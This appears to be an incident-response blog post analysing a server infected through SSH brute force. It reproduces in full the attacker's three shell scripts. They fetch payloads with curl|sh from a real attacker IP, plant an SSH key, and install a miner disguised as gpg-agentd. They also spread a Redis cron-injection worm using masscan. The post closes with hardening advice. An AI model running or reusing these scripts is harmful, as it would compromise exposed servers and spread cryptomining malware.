Hacking Servers Analysis: Step-by-Step Incident Investigation

01 The Start of the Hacking Servers Analysis Incident

It was a routine Monday morning when a report arrived about an inaccessible server. At first, I thought it was a minor issue, but the situation took a serious turn when the operations team revealed that Alibaba Cloud had frozen the server due to suspected malicious activity. My attempts to access the server via SSH were unsuccessful, as the default port was blocked, pointing to a likely compromise through a brute-force attack. This incident underscored the need for a thorough Hacking Servers Analysis to understand the attack vectors and improve the server’s defenses against similar threats in the future.

02 Uncovering Clues in the Hacking Servers Analysis

The server system is CentOS 6.X, with applications such as nginx, tomcat, and redis deployed. I first backed up the entire database to the local computer, and then used the top command to check that there were two processes with the same name at 99% still running, called gpg-agentd.

I googled gpg and the result is:

The gpg-agent provided by GPG supports the SSH protocol, which can greatly simplify key management.

It looks like a very legitimate program, but if you look closely, you will see a letter d after the process on the server. It is well disguised and reminds people of various viruses on Windows that look like svchost.exe .

continue

ps eho command -p 23374netstat -pan | grep 23374

Check the startup path and network status of the pid:23374 process, that is, come to the directory in Figure 1, and you have found the binary executable file left by the hacker. There are two more questions waiting for me:

1. How was the file uploaded?
2. What is the purpose of this file, or what does the hacker want to do?

History, the records are indeed cleared, leaving no trace. Continue to command more messages:

I saw that around midnight, a lot of software was installed on the server, and a few of them caught my attention. I will describe them in detail below. I guessed that if we want to do something bad, where would we do it? Automatically start? Scheduled start? Yes, scheduled tasks.

crontab -e

Sure enough, the clue was found.

03 Motive

The above scheduled task means to download a script from the server every 15 minutes and execute it. Let’s download the script and take a look.

curl -fsSL 159.89.190.243/ash.php > ash.sh

The script content is as follows:

uname -aidhostnamesetenforce 0 2>/dev/nullulimit -n 50000ulimit -u 50000crontab -r 2>/dev/nullrm -rf /var/spool/cron/* 2>/dev/nullmkdir -p /var/spool/cron/crontabs 2>/dev/nullmkdir -p /root/.ssh 2>/dev/nullecho 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa/oKCWk0NNKmMza8YGLBiJsq/zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpB/B7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo/szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph/xBj8wGKpHFP0xMbSNdZ/cmLMZ5S14XFSVSjCzIa0+xigBIrdgo2p5nBtrpYZ2/GN3+ThY+PNUqx redisX' > /root/.ssh/authorized_keysecho '*/15 * * * * curl -fsSL 159.89.190.243/ash.php|sh' > /var/spool/cron/rootecho '*/20 * * * * curl -fsSL 159.89.190.243/ash.php|sh' > /var/spool/cron/crontabs/rootyum install -y bash 2>/dev/nullapt install -y bash 2>/dev/nullapt-get install -y bash 2>/dev/nullbash -c 'curl -fsSL 159.89.190.243/bsh.php|bash' 2>/dev/null

Let’s roughly analyze the main uses of this script:

The first step is to turn off SELinux and remove the shell resource access restrictions. Then generate an ssh public key in the /root/.ssh/authorized_keys file. This way, every time a hacker logs into the server, they can log in without a password, making it much easier to execute scripts. For an article about ssh keys, please refer to this article SSH Principles and Applications.

Next, install bash, and finally download the second script bsh.php and execute it.

Continue to download and analyze bsh.pbp, the content is as follows:

sleep $( seq 3 7 | sort -R | head -n1 )cd /tmp || cd /var/tmpsleep 1mkdir -p .ICE-unix/... && chmod -R 777 .ICE-unix && cd .ICE-unix/...sleep 1if [ -f .watch ]; thenrm -rf .watchexit 0fisleep 1echo 1 > .watchsleep 1ps x | awk '!/awk/ && /redisscan|ebscan|redis-cli/ {print $1}' | xargs kill -9 2>/dev/nullps x | awk '!/awk/ && /barad_agent|masscan|.sr0|clay|udevs|.sshd|xig/ {print $1}' | xargs kill -9 2>/dev/nullsleep 1if ! [ -x /usr/bin/gpg-agentd ]; thencurl -s -o /usr/bin/gpg-agentd 159.89.190.243/dump.dbecho '/usr/bin/gpg-agentd' > /etc/rc.localecho 'curl -fsSL 159.89.190.243/ash.php|sh' >> /etc/rc.localecho 'exit 0' >> /etc/rc.localfisleep 1chmod +x /usr/bin/gpg-agentd && /usr/bin/gpg-agentd || rm -rf /usr/bin/gpg-agentdsleep 1if ! [ -x "$(command -v masscan)" ]; thenrm -rf /var/lib/apt/lists/*rm -rf x1.tar.gzif [ -x "$(command -v apt-get)" ]; thenexport DEBIAN_FRONTEND=noninteractiveapt-get update -yapt-get install -y debconf-docapt-get install -y build-essentialapt-get install -y libpcap0.8-dev libpcap0.8apt-get install -y libpcap*apt-get install -y make gcc gitapt-get install -y redis-serverapt-get install -y redis-toolsapt-get install -y redisapt-get install -y iptablesapt-get install -y wget curlfiif [ -x "$(command -v yum)" ]; thenyum update -yyum install -y epel-releaseyum update -yyum install -y git iptables make gcc redis libpcap libpcap-develyum install -y wget curlfisleep 1curl -sL -o x1.tar.gz https://github.com/robertdavidgraham/masscan/archive/1.0.4.tar.gzsleep 1[ -f x1.tar.gz ] && tar zxf x1.tar.gz && cd masscan-1.0.4 && make && make install && cd .. && rm -rf masscan-1.0.4fisleep 3 && rm -rf .watchbash -c 'curl -fsSL 159.89.190.243/rsh.php|bash' 2>/dev/null

The code of this script is relatively long, but it has four main functions:

1. Download the remote code to the local computer and add execution permission, chmod u+x.
2. Modify rc.local to allow the local code to be automatically executed when the computer is powered on.
3. Download the open source scanner code from github and install the related dependent software, which is the record I saw in the messages above.
4. Download the third script and execute it.

I went to github to check out the open source code, and it was amazing.

MASSCAN: Mass IP port scanner
This is the fastest Internet port
scanner. It can scan the entire Internet in under 6 minutes, >
transmitting 10 million packets per second.
It produces results similar to nmap, the most famous port scanner.
Internally, it operates more > like scanrand, unicornscan, and ZMap,
using asynchronous transmission. The major difference is > that it’s
faster than these other scanners. In addition, it’s more flexible,
allowing arbitrary > address ranges and port ranges.
NOTE: masscan uses a custom TCP /IP stack. Anything other than simple
port scans will cause conflict with the local TCP/IP stack. This means
you need to either use the -S option to use a separate IP address, or
configure your operating system to firewall the ports that masscan uses.

Transmitting 10 million packets per second, which is faster than nmap. It is not difficult to understand why Alibaba Cloud froze the server. After reading the readme, I didn’t study it in detail and continued to download the third script.

setenforce 0 2>/dev/nullulimit -n 50000ulimit -u 50000sleep 1iptables -I INPUT 1 -p tcp --dport 6379 -j DROP 2>/dev/nulliptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT 2>/dev/nullsleep 1rm -rf .dat .shard .ranges .lan 2>/dev/nullsleep 1echo 'config set dbfilename "backup.db"' > .datecho 'save' >> .datecho 'flushall' >> .datecho 'set backup1 "


*/2 * * * * curl -fsSL http://159.89.190.243/ash.php | sh

"' >> .datecho 'set backup2 "


*/3 * * * * wget -q -O- http://159.89.190.243/ash.php | sh

"' >> .datecho 'set backup3 "


*/4 * * * * curl -fsSL http://159.89.190.243/ash.php | sh

"' >> .datecho 'set backup4 "


*/5 * * * * wget -q -O- http://159.89.190.243/ash.php | sh

"' >> .datecho 'config set dir "/var/spool/cron/"' >> .datecho 'config set dbfilename "root"' >> .datecho 'save' >> .datecho 'config set dir "/var/spool/cron/crontabs"' >> .datecho 'save' >> .datsleep 1masscan --max-rate 10000 -p6379,6380 --shard $( seq 1 22000 | sort -R | head -n1 )/22000 --exclude 255.255.255.255 0.0.0.0/0 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .shardsleep 1while read -r h p; docat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &done < .shardsleep 1masscan --max-rate 10000 -p6379,6380 192.168.0.0/16 172.16.0.0/16 116.62.0.0/16 116.232.0.0/16 116.128.0.0/16 116.163.0.0/16 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .rangessleep 1while read -r h p; docat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &done < .rangessleep 1ip a | grep -oE '([0-9]{1,3}.?){4}/[0-9]{2}' 2>/dev/null | sed 's//([0-9]{2})//16/g' > .inetsleep 1masscan --max-rate 10000 -p6379,6380 -iL .inet | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .lansleep 1while read -r h p; docat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &done < .lansleep 60rm -rf .dat .shard .ranges .lan 2>/dev/null

If the first two scripts only download and execute binary files on the server , then this script truly demonstrates the power of the virus. Let’s analyze this script below.

There is nothing much to say about the initial modification of the system environment. The subsequent file writing operation is a bit familiar. If you have used redis, you should be able to guess that this is the configuration of redis.

Writing this configuration naturally takes advantage of the vulnerability of redis writing cache content to local files. The result is that the local private key is used to log in to the server where the public key is written. No password is required to log in, which is the /root/.ssh/authorized_keys at the beginning of our article.

After logging in, scheduled tasks will be executed regularly to download scripts.

OK, now that the configuration file is ready, start using masscan to scan the entire network for redis servers and look for zombies. Note that 6379 is the default port of the redis server. If your redis listening port is a public IP or 0.0.0.0, and there is no password protection, sorry, you are vulnerable.

By analyzing these three scripts one by one, we can see the terribleness of this virus. First, it obtains login privileges by writing ssh public key, then downloads and executes remote binary files, and finally replicates through the redis vulnerability, quickly spreading throughout the network and growing at an exponential rate. So the question is, how did this server get infected?

I checked redis.conf and found that the bind address was 127.0.0.1, which was fine. From this, I can infer that the root account was cracked by brute force. To verify my idea, I checked lastb and found a lot of records:

There is only one last question left. What exactly does this gpg-agentd program do?

My first reaction was mining machines. Because digital currency is so popular now, the demand for distributed mining machines has increased, which has given rise to this gray industrial chain.

So, I dragged this gpg-agentd into ida, used string to search for bitcoin, eth, mine and other related words, and finally found this:

Open http://nicehash.com​Take a look and everything becomes clear.

Finally, I would like to summarize the security recommendations:

Hacking Servers Analysis: Security Recommendations

01. Server Hardening

1. Disable the ROOT Account: Prevent unauthorized access by disabling the ROOT login.
2. Use Strong Credentials: Ensure that both the username and password are highly complex to deter brute-force attacks.
3. Change the Default SSH Port (22): Modify the default SSH port to add an extra layer of security against automated hacking tools.
4. Install Anti-Brute-Force Software (DenyHosts): Protect the server from brute-force login attempts by installing DenyHosts or similar security software.
5. Enable RSA Public Key Authentication: Disable password-based logins and switch to RSA public key authentication for added security.

02. Redis Security

1. Restrict Public IP Monitoring: Avoid monitoring on public IPs, including 0.0.0.0, to reduce exposure.
2. Set Up a Password for Redis: Use a password to limit access and protect Redis from unauthorized connections.
3. Run Redis with a Low-Privilege Account: Configure Redis to operate under a user with minimal privileges to contain any potential breaches.

The hacking servers analysis above covers the entire intrusion process step by step. If you’re interested in exploring this further, you can execute the provided scripts in a virtual machine or use curl to test them.

Please note that this article may contain omissions or inaccuracies due to my limited expertise, and I welcome your feedback for improvements.